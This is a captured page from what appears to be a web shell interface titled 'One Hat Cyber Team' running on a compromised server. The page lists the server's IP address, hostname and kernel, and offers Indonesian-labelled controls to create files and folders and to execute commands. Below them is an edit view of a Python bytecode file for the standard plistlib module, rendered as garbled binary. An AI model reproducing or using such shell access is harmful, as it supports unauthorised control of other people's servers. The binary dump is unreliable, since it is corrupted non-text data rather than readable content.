One Hat Cyber Team
Your IP :
216.73.216.58
Server IP :
50.6.197.111
Server :
Linux server-631610.officedataghana.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
Server Software :
Apache
PHP Version :
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.9
/
__pycache__
/
Edit File:
plistlib.cpython-39.pyc
a XC?hXn � @ s� d Z g d�ZddlZddlZddlZddlZddlmZ ddlZddl Z ddl Z ddlZddlm Z ejdded�Ze� �ej� G d d � d �ZdZe �d�Zd>dd�Zdd� Ze �de j�Zdd� Zdd� Zdd� ZG dd� d�ZG dd� d�Z G dd� de �Z!dd � Z"G d!d"� d"e#�Z$d#d$d%d&d'�Z%e&� Z'G d(d)� d)�Z(d*d+� Z)e*e+e,eje-fZ.G d,d-� d-e&�Z/d.d/� Z0e1e2e"ee!d0�e3e2e0e(e/d0�iZ4de2d1�d2d3�Z5de2d1�d4d5�Z6e1d6d7d8�d9d:�Z7e1d7d6d;�d<d=�Z8dS )?a� plistlib.py -- a tool to generate and parse MacOSX .plist files. The property list (.plist) file format is a simple XML pickle supporting basic object types, like dictionaries, lists, numbers and strings. Usually the top level object is a dictionary. To write out a plist file, use the dump(value, file) function. 'value' is the top level object, 'file' is a (writable) file object. To parse a plist from a file, use the load(file) function, with a (readable) file object as the only argument. It returns the top level object (again, usually a dictionary). To work with plist data in bytes objects, you can use loads() and dumps(). Values can be strings, integers, floats, booleans, tuples, lists, dictionaries (but only with string keys), Data, bytes, bytearray, or datetime.datetime objects. Generate Plist example: pl = dict( aString = "Doodah", aList = ["A", "B", 12, 32.1, [1, 2, 3]], aFloat = 0.1, anInt = 728, aDict = dict( anotherString = "<hello & hi there!>", aUnicodeValue = "M\xe4ssig, Ma\xdf", aTrueValue = True, aFalseValue = False, ), someData = b"<binary gunk>", someMoreData = b"<lots of binary gunk>" * 10, aDate = datetime.datetime.fromtimestamp(time.mktime(time.gmtime())), ) with open(fileName, 'wb') as fp: dump(pl, fp) Parse Plist example: with open(fileName, 'rb') as fp: pl = load(fp) print(pl["aKey"]) )�InvalidFileException�FMT_XML� FMT_BINARY�load�dump�loads�dumps�UID� N)�BytesIO)�ParserCreate�PlistFormatzFMT_XML FMT_BINARY)�modulec @ s<